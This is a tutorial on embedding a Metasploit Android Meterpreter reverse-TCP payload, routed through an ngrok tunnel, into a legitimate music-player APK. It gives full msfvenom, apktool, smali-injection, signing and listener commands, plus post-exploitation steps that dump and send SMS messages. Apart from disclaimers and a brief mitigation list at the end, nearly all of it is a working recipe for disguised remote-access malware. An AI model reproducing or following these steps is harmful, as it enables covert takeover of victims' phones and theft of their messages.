Disclaimer: This information is for educational purposes ONLY. Do not engage in illegal or unethical activities.

I. Prerequisites

  1. Kali Linux Virtual Machine: Required for using msfvenom and Metasploit.
  2. ngrok Account & Tool: For creating a secure tunnel to your local machine.
    • Sign up at the official ngrok website.
    • Download and install the ngrok tool.
  3. Base Android APK File: An existing APK file to embed the payload into (e.g., a music player APK - exercise caution and ensure proper permissions).
  4. apktool: For decompiling and recompiling APK files.
    • Install on Kali: sudo apt-get install apktool
    • Consider using version 2.4.1 for potentially more stable recompilation: [link to download apktool_2.4.1.jar]
  5. Java Development Kit (JDK): Required for signing the APK.

II. Generating the Malicious Payload

  1. Start ngrok TCP Service: 
    ngrok tcp 4444
    • Note the ngrok forwarding address and port.
  2. Generate Payload using msfvenom: 
    msfvenom -p android/meterpreter/reverse_tcp LHOST=<ngrok_forwarding_address> LPORT=<ngrok_forwarding_port> R > msf_https.apk
    • Replace <ngrok_forwarding_address> and <ngrok_forwarding_port> with the values from ngrok.

III. Decompiling the Base APK

  1. Decompile using apktool: 
    apktool d -f Music_player.apk -o Original
    • Replace Music_player.apk with the name of your base APK file.

IV. Modifying the APK Files

  1. Access the com Directory (Malicious Payload): 
    cd malicious_dir/smali/com
    • malicious_dir refers to the directory where msf_https.apk was created.
  2. Copy Metasploit Directory:
    • Copy the metasploit directory found within the com directory.
  3. Paste Metasploit Directory (Base APK):
    • Navigate to Original/smali/com and paste the copied metasploit directory.
  4. Modify AndroidManifest.xml (Permissions):
    • Open malicious_dir/AndroidManifest.xml in a text editor.
    • Copy all <uses-permission> lines.
    • Open Original/AndroidManifest.xml in a text editor.
    • Paste the copied permissions inside the root <manifest> tag.
    • Important: Remove any duplicate permissions.
  5. Modify AndroidManifest.xml (Main Activity):
    • In Original/AndroidManifest.xml, search for action.MAIN.
    • Within the <intent-filter> containing action.MAIN, locate the <activity> tag.
    • Note the android:name attribute value (e.g., com.musicplayer.player.mp3player.white.start.MainActivity).
  6. Modify MainActivity.smali:
    • Navigate to the directory corresponding to the main activity noted in the previous step (e.g., Original/smali/com/musicplayer/player/mp3player/white/start).
    • Open MainActivity.smali.
    • Search for the OnCreate(Landroid/os/Bundle;)V method.
    • On the line immediately following this method, paste the following code: 
      invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
    • Save the MainActivity.smali file.

V. Recompiling, Signing, and Zipaligning

  1. Recompile the APK: 
    java -jar ~/Downloads/apktool_2.4.1.jar b Original
    • Adjust the path to apktool_2.4.1.jar if necessary. The recompiled APK will be in Original/dist/.
  2. Generate a Signing Key: 
    keytool -genkey -V -keystore ~/Documents/Medium/p3/key.keystore -alias elliot -keyalg RSA -keysize 2048 -validity 1000
    • Fill in the required information. Remember the keystore path, alias, and password.
  3. Sign the APK: 
    jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore ~/Documents/Medium/p3/key.keystore Original/dist/Music_player.apk <alias_name>
    • Replace ~/Documents/Medium/p3/key.keystore with your keystore path and <alias_name> with your alias. You might need to rename Original/dist/Music_player.apk to the original APK filename.
  4. Zipalign the APK: 
    zipalign -v 4 Original/dist/Music_player.apk music_final.apk
    • Replace Original/dist/Music_player.apk with the signed APK file path. music_final.apk will be your final, optimized APK.

VI. Setting up Metasploit Listener

  1. Start Metasploit Console: 
    msfconsole -q
  2. Configure the multi/handler: 
    use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT <ngrok_forwarding_port>
exploit
    • Ensure LPORT matches the ngrok forwarding port.

VII. Testing the APK (Ethical and Authorized Environments Only)

  1. Distribution: Send music_final.apk to your test Android device (e.g., using ADB, email - be aware of potential antivirus detection).
  2. Installation: Install the APK on the test device.
  3. Execution: Open the application on the test device.
  4. Meterpreter Session: Observe the Metasploit console for a new Meterpreter session.

VIII. Metasploit Commands (Example)

  1. View Available Commands: 
    help
  2. Dump SMS Messages: 
    dump_sms
  3. Send Custom SMS Message: 
    send_sms -d <phone_number> -t "Custom Message"
    • Replace <phone_number> with the target number.

IX. Mitigation and Prevention Strategies

  • Only download apps from official app stores.
  • Install and keep antivirus software updated.
  • Carefully review app permissions before installation.
  • Keep your device and apps updated.
  • Be aware of the risks of installing apps from unknown sources.

Remember: This information is for educational purposes only. Always act ethically and legally.